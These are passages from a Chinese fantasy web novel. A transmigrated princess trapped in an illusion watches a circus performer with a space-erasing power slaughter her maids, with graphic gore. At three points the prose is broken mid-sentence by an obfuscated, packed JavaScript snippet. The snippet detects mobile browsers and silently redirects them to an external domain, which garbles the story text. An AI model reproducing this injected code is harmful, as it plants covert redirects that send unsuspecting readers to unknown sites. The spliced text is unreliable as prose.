声音,清空。图像,清空。冷热,清空。气味,清空。 一片虚无! 失重——升空—— 急速下坠! 场景瞬间变换,从夜幕下的雪山变成了阳光明媚的花园。 果然是这样,可恶!芙洛丝气得直抓自己的头发! 她早知道自己会被自己的优柔寡断害死,她早就知道! 怪自己、都怪自己,居然会傻兮兮地给他说遗言的机会! 明明早就看出来了,安德留斯绝对不对劲…… 安德留斯那双天真热烈的大眼睛又在脑中浮现,芙洛丝当即发誓,这辈子不会再相信任何一个有着漂亮眼睛的男人! 绝对不会! 短暂地发泄完情绪后,芙洛丝注意到了眼前的不对劲。 她看向自己的手臂。 ——圆滚滚的、肉乎乎的手臂,一双孩子的手臂。 这是怎么一回事?? 一种恐怖的感觉在心中弥漫,安德留斯的能力难道是将人变成小孩,再拉入幻境中折磨致死吗? 芙洛丝检查了自己的身体,发现现在真的是变成小孩了。 手也短、脚也短,视线莫名地变低了很多,还穿着件花里胡哨的蓬蓬裙。 芙洛丝推测自己的身高绝度不超过一米五。 那么……得赶紧从幻境中出去! 芙洛丝屏息凝神,试着从空气里捕捉些许使用能力留下的痕迹。 好极了。一无所获。 “公主殿下!”一个穿着宫廷服的侍女像豹子一样跑了过来,高跟鞋踩得蹬蹬响,手里还抱着一根长长的……扫帚! “公主殿下,这回你说什么都不能跑了!必须、立刻、跟我、去向、查尔斯、道歉!!”伴随着最后一个音节的吼出,侍女的面目也清晰地浮现在台阶之下,浅棕色的鬈发,长而粗的双眉,饱满的脸颊,虎虎有生气的浅蓝色眼睛。 碧……? 这竟然是碧。 芙洛丝看着碧从前的样子,愣在原地,久久说不出话来。 怎么会…… “殿下,逃避责任可不是贵族的举动啊,”碧的脸压了上来,她用手指戳着芙洛丝的额头,严肃地教育道,“反抗任何形式的欺压没有错,但你不能在对方跪地求饶之后还用拳头打人家的鼻子,啊啊,我知道了,你又要说什么,是他主动用他的脸来贴你的拳头,但是撒谎也不应该是贵族的举动哦……” 查尔斯,道歉?这都什么和什么?尽管如此,芙洛丝还是想起了那个小胖子嚣张的嘴脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428041|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 ——费尔奇尔德王国第一外交大臣的次子,查尔斯,小时候总是和自己上同一个老师的剑术课,仗着青春期发育的优势欺负自己,还经常在二人独处时发表一些不可一世的臭屁言论。 虽然后来知道了,那是查尔斯对自己有好感的别扭表现。 不过,两人不对付的次数实在太多了,以至于碧说的事情,芙洛丝完全没有一点印象。 看着碧从前的样子,那么生动,那么真实,芙洛丝心里涌过一阵难掩的酸楚。 即使这是幻境。 回忆的幻境。 “不知道为什么会回到这里,不过,”芙洛丝低下头,攥了下手腕,“我讨厌这种被困在从前的感觉……” “哎呀,没关系的啦,等他长大之后,他就会知道我所做的一切都是在矫正他的品行啦,他和他的父亲都会对我感恩戴德的,说不定还要喊我大姐呢。碧,别担心嘛!”出乎意料的是,她的声音这么说道。 孩子气的、气势十足地说道。 芙洛丝怔了,感觉自己的身体往后退了半步。 不。不对。 她回过头,发现了另一个自己。不是她后退了,是另一个她在后退。 有着耀眼金发,苍蓝色眼眸的另一个自己。 过去的自己。 那个自己捂着额头,撅着嘴,十分可怜兮兮地撒娇道:“碧,你戳得我好疼哦。” “装可怜也不是贵族该做的事哦!” 吸鼻子的声音。 “……诶,好嘛,请殿下原谅我。” 芙洛丝看着这怪异的一幕,张大了嘴。 两个自己? 旋即又想到,人实在是不该装可爱,也许那时候的自己想的是每个年龄就该表现出每个年龄的样子,但是,这么看着,也太违和了…… “哈哈哈!” 那个芙洛丝往后跳了半步,得意洋洋,“看来碧说的什么贵族品格也不过如此嘛,一个小姑娘吸吸鼻子,你的信仰就自动崩塌了哦。” 她从来没有受过打击的蓝眼睛神气十足,“再说了,我可从来没有说过我要当贵族啊,这可不是我主动选择的出身哦。” “啊啊殿下又开始说很奇怪的话了,”碧似乎是又想做噤声的动作,又想捂住她的嘴,肢体动作一下很慌乱,“让别人听见的话,这就不贵族了呀。” “那就太好啦。”小小的自己迈开腿,眉开眼笑地往小厨房的方向走,“话说胡闹了这么久,肚子都饿了,去看看有什么好东西好了。” “殿下又饿了吗?真奇怪啊,虽然说正在长身体的年纪,但是殿下的食量确实有些大呢,一顿饭都够三个成年男人吃了……” “没办法啊,厨房的大娘手艺太好了,菜品种类也丰富,就是分量不够。” “是这样吗?那我会向陛下说明的!务必要让殿下吃饱,这样才能长身体,难怪殿下吃了那么多,身体一点变化都没有,原来是分量不够……” 碧嘟嘟囔囔,忽然想起什么似的道:“不过,殿下,现在并不是开餐的时间,厨房做饭还需要很长的时间,如果殿下饿了,不如先将就着和宫廷里的艺人们一起用餐吧。最近来了个马戏团,变的把戏很新奇,据说是在全世界巡演过……” “马戏团?”小小的自己眨巴眨巴眼睛。 糟了! 芙洛丝猛然回过神来。 她好像知道为什么会回到这个时间点来了,这是五年前的事情,不,不不不—— “不要去!!”她尖叫出声,从未有过的失态。 然而—— “我要去。” 小芙洛丝兴奋地攥起拳头,在芙洛丝的注视下绽开如花的笑颜,“哇,我还没见识过真的马戏团诶,是什么样的呢……” “我也没见过,不过听前去偷看的小丫头们说,就像童话故事里的魔法一样,是让人惊掉下巴的把戏喔。” 两人看不见的咫尺之地。 血丝像粗壮的手臂一样攫住了芙洛丝的眼瞳。 “安德留斯……”她双眼通红,杀气几乎冲天而起,直上云霄,“你在找死。” 8. 帕尔索 这是五年前,皇宫里。 芙洛丝凭记忆找到了马厩,就在离这儿一条走廊的地方,并不远,那里,几个侍女正在叽叽喳喳地聊天: “你学过骑马吗?这可是芙洛丝殿下的坐骑,要是出了什么差错……” 安妮个子不高,红色的头发却如火焰一样引人注目,“哎呀,殿下学骑马的时候,我就在旁边看着,我当然会啦,说起来也很简单。喏,像这样先喂点牧草,拉近和马儿之间的距离,再轻轻地抚摸它,抚摸它的肩膀,让它感到舒服——” “诶?!” “不好!” 侍女们目瞪口呆,因为在她们的视线里,安妮只是摸了摸马儿的肩膀,马儿就蹿了出去,像离弦之箭一般! “快拉出它、快拦住它!” “完蛋啦,这下怎么跟公主交代啊——” 她们看不到,马背上坐着的,正是公主。 谢天谢地,只是幻境中的人看不见她,也触碰不到她,骑马还是可以的。 幻境总不可能无限制地大下去,她要探清幻境的范围,并侦查出此处最薄弱的一点,然后打碎它,离开这里。 另一边—— “殿下,怎么了?”碧问道。 小芙洛丝皱着眉头,“不……没事。就是感觉很奇怪,总感觉这里还有另一个人似的。碧,你没有这种感觉吗?” 碧望了望四周,“没有啊,这里就只有我和你啊,殿下,你一定是看错了吧。” “希望如此。”小芙洛丝抓抓脑袋,又是这种感觉呢,“那我们走吧。” 女眷们所在的宫邸与伶人们有段距离,一路上阳光明媚,蓝天如染。许多年轻貌美的侍女在花园中穿梭,热风吹来融融的香气。 碧还在唠叨,说看完表演、填饱肚子之后,一定要去给查尔斯道歉。 这大概是最不起眼、最平凡的一个夏天。 作为费尔奇尔德王国万众瞩目的公主,芙洛丝是很幸福的。 但她记得,她并不属于这个世界。 前几天得到的那个【消息】提醒了她。 当时她正在给自己编发,那个声音毫无预兆地响起,告诉她【盗贼】正在大都克拉克城出没,所有人都可以去回收他的生命。 回收。这个说法还是挺特别的,可是房间里的其他侍女就像没有听见一样,依然忙活着自己的事,连抬头的人都没一个。 “碧,你刚刚有听到什么吗?” 碧的脸上是一片茫然。 芙洛丝便没再说什么。 她脑海里有个只有自己能听到的声音,这个声音在她出生的时候响起过一次,说的是“欢迎降临,此世的神明,你的身份是【公主】,你将会受到所有人的喜爱。” 当时她想,哦,我果然是天选之人。 穿越过来成为某个世界的主角,然后开展惊心动魄的冒险经历或者回肠荡气的恋爱体验,这种故事她有所耳闻,没想到自己有朝一日会成为故事里的主角。 那么,这个世界的主线任务是什么呢?不管是冒险还是爱情故事,主人公总该有个目标吧,然而这个声音没有回应。 就这么沉寂了下去。 “神明”? 这个字眼也挺值得琢磨的,既然是神明,那就一定有特殊能力了,然而芙洛丝试了又试,用了很多方法,包括捏着鼻子在水底闭气,试图将手伸到火里,或者用意念让一粒种子开花发芽……很遗憾,自己没有什么可激发的潜能,也没有魔法方面的才能。 唯一异于常人的是,吃得多,睡得好,身体素质特别好。 长大之后,芙洛丝打探过,然而这个世界就是完完全全的普通世界,没有魔法,也没有神明,没有任何超自然的力量。倒是有传说,但全都是捏造出来的。有女巫,但是被架起来烧死了。 纵使有些奇异的现象,也是受限于当前时代的科技水平,人们没有办法解释所致。 芙洛丝决定隐藏自己,做个普通人。 本以为会在这里过完普通中世纪西方公主的一生,降生时的那个声音也差不多抛在脑后,没想到不久之前,那个声音再度响起,报告了【盗贼】的消息。 【盗贼】? 是跟她的【公主】等价的某种【身份】吗? 和上次一样,那个声音依然没有回应她,这是单方向的交流。 不说算了。芙洛丝本来也不是喜欢听别人命令的个性,索性不管。 大都克拉克城离这儿可不近,就算有【盗贼】,也是治安官的事,和她没关系。 芙洛丝感受着阳光暖洋洋的照拂,手臂交叉枕在脑后,哼起了小曲儿。 忽然,她又像听到了那个声音似的。 之所以说“像”,是因为脑海里响起的是她自己的声音。她先有了一种毫无理由、毫无根据的奇异感受,然后自己将这感受分析成了可以用语言表达的意思: 附近有个和我一样特别的人,他是我命中注定的,【同类】。 这次芙洛丝学乖了,没有问任何人,也没有告诉任何人。 世界上有很多只有她才能听到、能看到的事,贸然泄露这一点,她就是众人眼中的怪物。 棕榈树背后有好几个侍女在小声商量什么。 她们听到芙洛丝和碧的脚步声,回头一看,立刻吓得魂不附体。 芙洛丝对她们微笑致意,她们却扭过头装作什么都没看见。 慌慌张张,绝对有鬼。芙洛丝一眼看见了藏在树后那头显眼的红发,“安妮?” “啊哈哈哈哈,原来是殿下啊。”安妮干笑着慢慢地从树后挪了出来,“天气真好,你今天过得怎么样,有没有什么开心的事啊?” “还可以吧。”芙洛丝说,“要去看马戏吗?” “去!” 她背过身又跟那群侍女嘀嘀咕咕了一阵,即使看不见脸色,也能想见她疾言厉色、威逼利诱的样子。 是的,芙洛丝的耳力很好。 应该说只要有关身体素质,芙洛丝的每一项都很优秀,有些甚至到了变态的地步。就比如说视力,只要她想,她能数清三层白纱之后一只苍蝇的绿色复眼上有多少个小眼。 为了避免被人当成异类,芙洛丝平时会刻意隐藏。 听清安妮她们原来是弄丢了她的马之后,她忍不住唇角微勾。原来是为了这件事。那匹马乖得很,就算跑出去了,也一定会乖乖回来。更何况王宫里的每道门都有卫兵站岗。 “那就一起去看马戏吧。” 王宫,另一角。 帕尔索蜷缩在角落发抖。 马戏团的其他人喝酒的喝酒,吃肉的吃肉,对此见怪不怪。他们刚刚在国王和他的宠臣们面前表演完把戏,表演十分成功,这场欢宴是他们应得的。 马戏团里负责照顾猴子和大象的是个才十岁的男孩儿,先前的那个病死了。男孩儿还没有到对其他人的生死十分冷漠的年纪,所以他走过去的时候问候了帕尔索:“你真的没事吗?” 帕尔索裹在毯子里的脸白得可怕,对男孩的善意回以虚弱的笑脸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428042|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的声音含糊不清,又像哭又像笑:“嗬嗬……我要疯了。我想喝酒喝得要命。” 说完,他咂吧了下嘴唇。 帕尔索是马戏团里的前辈,在因为酗酒把身体弄垮以前,可以说是团里台柱子一样的存在。 男孩很同情,“爱伦阿姨说了,你不应该再喝酒。” 其实只要他仔细地看一看,就会发现帕尔索病态到狂热的视线盯着的并不是酒杯,而是握着酒杯的手。 朋友们的、同事们的手。 白白胖胖、咬下去会咯吱咯吱响的手。哦。 要是男孩能听到帕尔索的心声,一定会被吓疯—— 这些手算不上很好的能量来源,但适合咀嚼。他可以一直嚼下去。他实在太饿、太饿了!饥饿的感觉让他发疯,他的嘴里塞着毯子,即使在和男孩儿说话的时候,他的牙齿也在疯狂地啃咬、咀嚼,他咬到了自己的舌头,把那也当成了食物,翻来覆去地嚼,就像嚼一块软绵绵的口香糖,直到尝到铁锈味。 他清醒了,心里一阵悲哀。 走到这个地步,什么都救不了他了,如果敞开胃口吃,当然也能勉强获得些许饱腹感,但在这里弄出场大屠杀,呵,其他【同类】会立刻蜂拥而至,将他撕成碎片。 他身上还背着追杀令。 谁知道那个东西会不会再一次更新他的位置。 他年纪很大,对于如何去掉那个东西了解得清清楚楚,唯一办法就是找到一个【同类】并杀死,证明自己的价值,同时他饿肚子的问题也能解决了。 可他到哪儿去找这么一个同类? 饥饿让他的动作变得迟钝,穷途末路的现状让他的精神变得癫狂,他根本处理不了一个同类,就像饿晕了的老头儿咬不动面前唯一的熏肉。 除非……除非有一个同类的能力天生就是被他克制的。 不,仅仅是克制还是不够,一定要是像天敌那样绝对压制的克制,遇上了就被他踩在脚下、永世不得翻身的那种。 又或者……有一个同类主动献身,将自己宝贵的生命从胸腔里掏出来,无限仁爱地交到他面前。 再或者,有一个同类觉醒了,但是没有能力,这样他就可以像吃蛋糕上的奶油一样把他吃掉,毫无压力。 哈哈,哈哈…… 帕尔索盖着的毯子开始渗出一大团湿痕,从嘴角诡异地出发,像一大团不详的湿雨云,滴滴答答淌到了脖颈。 男孩吓着了,“你、你真的还好吧?我给你叫医生,好不好?喂……” 帕尔索眼珠转动,看向他。 “好孩子,好孩子,你是个好孩子。……你是个好孩子,对吗?” “……” “扶我去上厕所,好吗?”他如此说道。 男孩搀着他,从后门走了出去,随后,院子里爆发出男孩惊天动地的一声尖叫。 男孩慌慌张张地跑出来,连话都说不利索:“他、帕尔索、舔我的手!” 舔了他手的帕尔索跌坐在地上,还在傻笑。 除非、除非……他脑袋中的幻想还在疯狂转动。 他毫无疑问已经饿疯了,最后的理智摇摇欲坠,他非常勉强地保持住了人性。 这里是一国的王宫啊,在这里搞出大屠杀,他一定会被所有的【同类】注意到,而且,他作为帕尔索的一生也就完了。 然后,他感觉到有【同类】在靠近。 他做梦也没想到,这里有【同类】,还是一个完美符合他食物标准的—— 【同类】。 9. 无敌者 “殿下,为什么我们还不进去啊,不是让他们给我们表演吗?” 芙洛丝坐在草地上啃烤鹅肉,旁边还有好几只装着吃食的大篮子,碧替她回答:“因为他们刚刚表演完一场,还在吃饭,不要去打扰他们。” 作为陪伴芙洛丝时间最长的贴身侍女兼护卫,碧说的话便是芙洛丝的意思。 “好嘛……” 侍女们便一起坐在草坪上等,绿草如茵。 几只白鸟从天际的一边飞向另一边。 芙洛丝忽然侧了下脑袋。 碧:“怎么了?” 如果说附近的声音一下消失了很多,碧会相信吗? 想来应该是马戏团的成员吃好喝好,开始睡觉了。 于是芙洛丝擦擦嘴角,说:“没什么。” “安妮,你看……” “我没看错吧,那匹马儿回来了!” 侍女们用耳语尽可能小声地彼此交谈,然而芙洛丝稍微注意了一下便听得清清楚楚,她看了一眼那边,不禁莞尔。 “怎么办?” “趁殿下没发现,我去偷偷把它牵走,你们可得替我打好掩护啊。” 于是一个侍女被推选出来,带着热情过头的笑容过来同芙洛丝打招呼,“那个,殿下,我有一件事想求您……” 芙洛丝对她有点印象,从女子学校出来的优等生,名字似乎是叫碧拉,严格来说,她并不算侍女,而是负责教导礼仪的老师,但因为她出身比较贫寒,性格怯懦,教导的对象又是王室里的小王子、小公主,她同时拥有两种身份。 “碧拉。”芙洛丝笑得可爱,“我知道你是她们当中最正直、最诚实的,有什么要我帮忙的,尽管说吧,我很愿意帮你。” 碧拉的脸红了起来,“我……” “说呀,快说呀……”背后有人轻轻推着碧拉,催促道。 她们围成一排,洁白的裙子挨叠在一起,将芙洛丝的视线挡得严严实实,这样,个子比较矮的安妮就可以轻手轻脚去喷泉的后面,神不知鬼不觉地将马儿牵走。 “我想请殿下将我的妹妹收为贴身侍女,”碧拉便一口气地往下说了,“因为我下个月就要结婚,不能陪在公主身边了,我想让妹妹进宫来!公主殿下是很好的人,我想——” “可以啊。祝你新婚愉快。” 碧拉瞪大了眼睛,没想到公主殿下这么好说话。 “哇,碧拉,你要结婚了吗?” 碧拉的婚事还没宣布过,立刻吸引了大家的注意力,侍女们一下将马匹的事抛到脑后,纷纷打探起来。 “结婚对象是谁,难道是上次我们见到的那个年轻人?” “人品怎么样,是个好人吗?” “……” 所有人都看不见的地方,成年的芙洛丝正骑在雪白的马驹上,遥望着她们,神色复杂。 回来了。 经过简短的勘测,她可以推测出,这个幻境的中心是小芙洛丝,以小芙洛丝为中心,近处是栩栩如生的宫殿、人物,较远的地方则是一片荒芜,但这幻境是无边无际的,她可以肯定。 看来安德留斯是想要读取她的回忆,找出她的【能力】。 “诶,”忽然有人注意到了不寻常的加入者,“你是谁啊,是不是走错了地方?” 她们指的不是成年的芙洛丝,而是一个男人。 一个似乎喝醉了的男人,三十岁上下,脸色苍白,歪歪斜斜地向这边走来。 接下来的事,芙洛丝都知道了。 她闭上眼睛,不愿意去看。 然而她必须去看。 如果幻境在空间上是无边无际的,无法逃脱,在时间上就一定是有限的。安德留斯不可能仅靠精神力就支撑起这么强大的幻境,一定有破解之法。 她要用眼睛仔仔细细地看,发现破绽。 “啊——” 侍女的惨叫划破了宁静。 “你挡在我的路上了,留心脚下。”那个脸色苍白的男人微微一笑,他似乎只是推了一下侍女,侍女便轰然倒地。 “啊、啊——” 侍女还在惨叫,任何一个人只要听了那种声音,都会不忍心再听第二次。 只是被推倒在地上的话,是不会这样的。 她到底怎么了? 她倒在地上,从被男人碰到的肩膀开始,往左到另一条锁骨的边缘,往下到温热的腹腔,全都被挖空了。一瞬之间,空了。切面的地方平整地像比照着尺子划出来的一样。 侍女像被挖空了内脏的鱼,在草地上疯狂挣扎、尖叫。青草染透了鲜血,从她身体中空的地方挺立出来。在场的所有人目睹这可怕的一幕后,都懵了。 太可怕、太突然了。 随后是侍女们尖利的惊叫和碧的声音:“保护殿下!” 现场一片混乱。 “快,快去叫人!” “你到底是什么人,够了,别再过来!站住!站在那儿,别动!” 那个男人无所谓地笑着,呼吸平静,深色干枯的嘴唇微微斜向一边,和他这副表情格格不入的是他的眼睛—— 垂软的厚眼皮也挡不住的邪恶的眼睛,嵌在龟裂凹陷、了无生气的皮肤上,闪闪发亮,简直像两座正在喷发的活火山。 “是你吗?”他这么问道。 他明明才是杀人的人,可他的表情却透露出一种绝望。 “是你,还是你?”他跌跌撞撞地往前走,目光在众人之间犹豫不决,简直像一个丢了女儿的鳏夫,现在正要不惜一切代价认回自己的宝贝独生女。 任何挡在他路上的侍女,被他碰到后都爆发出惨绝人寰的叫声,她们要么失去了手臂,要么失去了更多……一样诡异且平整光滑的切口,让人不忍去看。 铮然一声,长剑出鞘。 小芙洛丝拔出了铠甲雕像手持的圣剑,她脸色煞白,在众侍女的保护下大吼道:“别碰他,别跟他接触!” 男人的眼神这才移到她身上。 他像突然找到了猎物的鬣狗,连呼吸也粗重起来。 “哦,原来是你。” 碧察觉不对,用手臂死死护着小芙洛丝,“公主,走!” 小芙洛丝却道:“一起走!他似乎能让碰到他的东西消失,大家别碰他!保持距离就行!” 她猜得没错。 【盗贼】帕尔索的能力,触碰之物瞬间消失,或者按他的心意,移动到百米之外的任意空间里。 他最多能让一立方米的物体瞬间消失。 “走?” 男人明显因为芙洛丝的这番话更兴奋了,弱小的人才会想逃走,“你不是来追杀我的吗?哦……你的能力呢?为什么不用出来。” 他的身体忽然出现在了离小芙洛丝只有一米的距离。 瞬移! 即使从见到这个男人的第一眼起,小芙洛丝就知道他不是普通人,但此刻还是震惊得无以复加。 “我知道你,你……你是马戏团里的人,”碧拉护在芙洛丝身前,边后退边口齿不清地说道,“你是那个表演水箱把戏的人,你是大明星帕尔索!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428043|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “躲开,碧拉!”芙洛丝眼疾手快地抓住她,将她拽了过来。她刚刚看见,这个男人身边的空间出了水波一样的波动,波动的瞬间一闪而过,恰好是她观察力和视力的极限。若非她一直紧盯着帕尔索,还真的注意不到。 果然,男人的身形又消失了,他再度出现,是在刚刚碧拉的位置。 他的手指间飘动着碧拉的栗色发带和一缕卷发。 碧拉双眼蓄满了泪水,连站都站不稳,然而她整个人是保住了,“怪物……” 如果再晚一秒,会发生什么根本无法想象。 她吓晕了。 碧拎着摔倒了不省人事的碧拉,又一掌拍在惊魂甫定的芙洛丝身上,大吼:“跑!” “快跑——!!” 跑不了。 小芙洛丝握着长剑的手极用力,踉踉跄跄。 这个男人可以通过在空间中连续移动自己身体来完成瞬移,那种瞬间爆发的速度,根本不是人类靠疯狂倒腾两条腿就能逃脱的。 “你到底是什么人?”尽管面色沉静,小芙洛丝的声音在发抖,“你想要什么?别动手,我们不会伤害你,也许我们可以谈一谈,你想要什么——” “谈?!”帕尔索叫了起来,两只眼睛夸张地往外凸,“你这个臭女人你知道自己在说什么吗,有什么好谈的,你他妈的连状况都搞不清楚吗?!哈哈……哈哈哈哈哈哈哈——” 就在他放声狂笑的时刻,小芙洛丝挥剑斩去! 不像以往的千万次挥剑一样刻意隐藏自己的力量,这一剑毫无保留! 这是把没开刃的观赏剑,刺穿不了肌肤,所以芙洛丝用的是拍,她瞄准男人的腰部,预备用最大的力气将把他的腰部拍成肉酱,脊椎寸寸拍碎,这样他将永远无法凭借自己的力量站起来。 “你他妈果然是个蠢货!” 剑刃居然消失了!随后是剑柄。 帕尔索笑声顿止,一脸疯狂地扑向芙洛丝,“太幸运了。” 空间的波动顺着剑刃传到剑柄,差点就要传到双手的时候,小芙洛丝赶忙松开双手。 “啊啊啊!” 然而还是慢了一点,十个手指头被削去短短一截,鲜血像喷泉一样从断裂的甲面喷薄而出。 瞬移、空间变换、触到皮肤上的一切攻击都会被瓦解! 如碧拉所说,他真是个彻底彻尾的怪物! 冰冷的液体淌到嘴边,小芙洛丝这才意识到,自己哭了。她的胸膛疯狂起伏着。 帕尔索肮脏的手掌已经快抓到她的面门,距离太近,没法再躲。 她眼睁睁地看着死亡逼近。 “你他妈的……”然而意料之中的剧痛没有到来。 因为有个人忽然骑着马冲了出来。 硕大的马蹄踩在他的脸上,一下就将他原本不高的鼻梁踩成了盆地,鼻血喷涌,他的脸向中间皱缩,随后整个儿飞了出去—— “公主,拉住我的手!” 安妮骑着马回来,在千钧一发之刻救下了小芙洛丝,还踢飞了帕尔索。 “你们这群婊子……找死!”帕尔索很快再度站立起来,状若癫狂,“去死、去死!全都给我去死!” 没有任何声音,也没有任何预兆。 他的身影再度瞬移至众人身前—— 唉。 一声谁也无法察觉的叹息。 黑发的芙洛丝坐在马背上,发丝肆意飞扬,眼底决绝却冰凉,就像传说中驾驶金车的月之女神。 “不管基于何种理由,够了。” 10. 【公主】 她不再犹豫,举起手中的小刀,对准自己的心脏刺去! 任由幻境里的回忆发展下去,她如何觉醒成为【公主】,觉醒后又拥有何种能力,安德留斯都会知道得清清楚楚。 那时候发生的事是场彻头彻尾的悲剧,她无法阻止。 现在能做的,也只有离开。 让刺进心脏里的剧烈疼痛将她从幻境中离开。 这一招很险,但不得不用。因为她能力的弱点太突出了。 “哟,我亲爱的,”熟悉的含笑的声音自耳边响起,嘲讽意味十足,“这么快就丧失斗志了?真叫人失望。” 安德留斯半透明的身影忽然出现在她身边,以成年人的形态,芙洛丝精神一振,惊愕之间,他的手指已经夹住了刀刃,随机不费吹灰之力便将刀夺走,丢了出去。 “粉裙子,真可爱,蛮适合你的,就是——” 随后安德留斯攥着她的手腕,将她提了起来,理所当然地被踢了一脚,只不过芙洛丝的攻击直接穿透了他烟雾一样的身体,什么伤势也没造成。 “太不老实了!” 芙洛丝碰不到他,他却能抓住芙洛丝,而且幻境里的他还是成年人形态,一时之间,安德留斯毫无疑问占据了上风。 “你在这里自杀,本体也会受影响的,乖一点,好吗?”安德留斯居高临下地望着她,“幻境的持续时间是十五分钟,现在只剩三分钟了,如果不看完你是如何反杀帕尔索的,我和你今晚都会做噩梦的。” 他不再有意示弱,眼神从一只鹿变成了一头鹰,捕猎者的气质展露无疑。他危险,冷血,像打量着盘中餐一样打量着芙洛丝,但芙洛丝却觉得就该是这样,这才是他本来的样子。 “终于出现了。不装了?” 芙洛丝也冷笑,“不过还是改不了虚张声势的坏毛病啊,要是影响真有那么大,作为幻境的主人,你应该握着我的手,将那把刀更深、更用力地插进我的心脏,而不是像现在这样——” 她向安德留斯撞去,使用头槌的效果依然不好,安德留斯被撞的地方雾一样散开来,他的本体毫发无伤。 “你学不会怎么做一个乖孩子,是不是?” 安德留斯将芙洛丝狠狠甩了出去。 这正是芙洛丝想要的。她在地上打了个滚,迅速地接近了先前安德留斯丢刀的位置。 安德留斯越不希望她离开幻境,说明她的思路越正确。她要赶紧离开这个幻境! 谁知安德留斯鬼一样从身后压了上来,与自己十指相扣。 茂盛生长的草叶从两人透明的手掌中穿过,仍带来不可言说的痒痒的触感。安德留斯的手扣得很紧,两个人都压在草地上,无法动弹,他咬着牙威胁道: “宝贝,别白费力气了,有这功夫还不如想想,我是怎么把你拉入幻境的,因为我等会还会把你再拉进来。” 无限幻境,安德留斯的能力没有限制,真可怕。 不过芙洛丝已经听出了他声音里的慌乱,她笑得狠厉,“那要看我肯不肯给你机会了。” 两个人在草地上扭打起来。芙洛丝确实碰不到安德留斯,不过她朝自己身上使的那股狠劲世所罕见,安德留斯手忙脚乱,一防再防,才没让她的手指去掏自己的眼珠,或者用牙齿咬断舌头。 “你这家伙真的是【公主】?”安德留斯眯起眼睛,“明明像条野狗……” 芙洛丝自残的攻势越发骇人,安德留斯一时之间竟难以招架,分心之间,居然被逼出了本体,拳来脚往之间,不免挨了好几下,溢出闷哼连连。 “狗崽子,我要把你绑起来!” 与安德留斯对峙的芙洛丝一心求死,与帕尔索对峙的小芙洛丝却一心求生。 那边战况一样不容乐观。 首先被帕尔索的空间能力移走的是马驹的身体,健壮的马儿连长嘶都没来得及发出便跪倒在地,马上的人都被颠了下来。 鲜血喷发一地。 第二个牺牲者是安妮,她扬起手中的马鞭,想驱赶帕尔索,却被他的能力吞没了鞭子和手臂。 “松手,快松手啊!” “安妮!安妮!!快松手,安妮!!!” ——不然连你的肩膀、你的头颅也会一起消失的!这句话没有被说出来。 因为来不及了。 安妮直到大部分的上半身消失之前,都在死死瞪着帕尔索,她失去血色的嘴唇轻轻蠕动,吐出两个字:“快……跑……” 大家,快跑。 天真的安妮以为自己能为大家争取逃跑的时间,然而空间无情地吞没了她。 小芙洛丝痛苦得嚎啕大哭,十指鲜血淋漓,钻心的痛楚,她的眼泪却不是为此而流。她站起来想跑,却摔了一跤,不知道是因为鞋底滑腻的鲜血,还是踩中了累赘的裙摆。她咬着牙,在一堆尸体中奋力爬了起来。 又跌跌撞撞后退。 她整张脸都是冷汗和泪水,还有不知谁人飞扬的血迹。她的瞳孔倒影出帕尔索狰狞的脸庞。 “不,不不……” “都怪你啊!她们会死,都是你的错!”帕尔索拽着她金黄色的头发,将她踩在脚底,泄愤似的踩了好几脚,“我本来只要杀你一个人的,都是你,现在我要杀她们所有人!好痛,嘶,好痛好痛……我的脸都被你们这群臭女人弄花了!” 他心疼地抚摸着自己被马蹄踹扁的鼻子,从嘴巴里发出喘气的呼呼声。 那边的安德留斯点点头,对着目眦欲裂、被制服了依然不甘心的芙洛丝道:“他说得没错,都怪你啊,公主殿下,瞧瞧你害死了多少人!” 两边的战况都是如此,惨败。 而十三岁的芙洛丝很快就要死于帕尔索的手中,忽然—— “放开她、放开她,你这个畜生,放开她!” 已经逃走的人忽然出现在眼前,竟然是碧。 她带来了一队弓兵,还有国王和好几个骁勇善战的骑士。 弓箭一字排开,对准帕尔索的身躯。 “射——” 利箭如雨。 诡异的是,它们全都消失在了离帕尔索的身边。 帕尔索阴狠的目光一一扫过众人,众人竟然被他的目光吓得连连后退,“你们……呵呵,一个都别想跑。” “在此之前,我要折磨死她!”他忽然大吼一声,弯下腰去抓起了小芙洛丝,不知道他做了什么,只见小芙洛丝全身鲜血如注,脸上、身体表面开了数个手指粗细的圆孔,血一下全喷了出来。 “啊啊啊啊啊!” “去死吧,去死吧!”帕尔索哈哈大笑,狂热已极,“你该死,你这个该死的蠢女人!都怪你,害我完蛋了,都是你的错!” 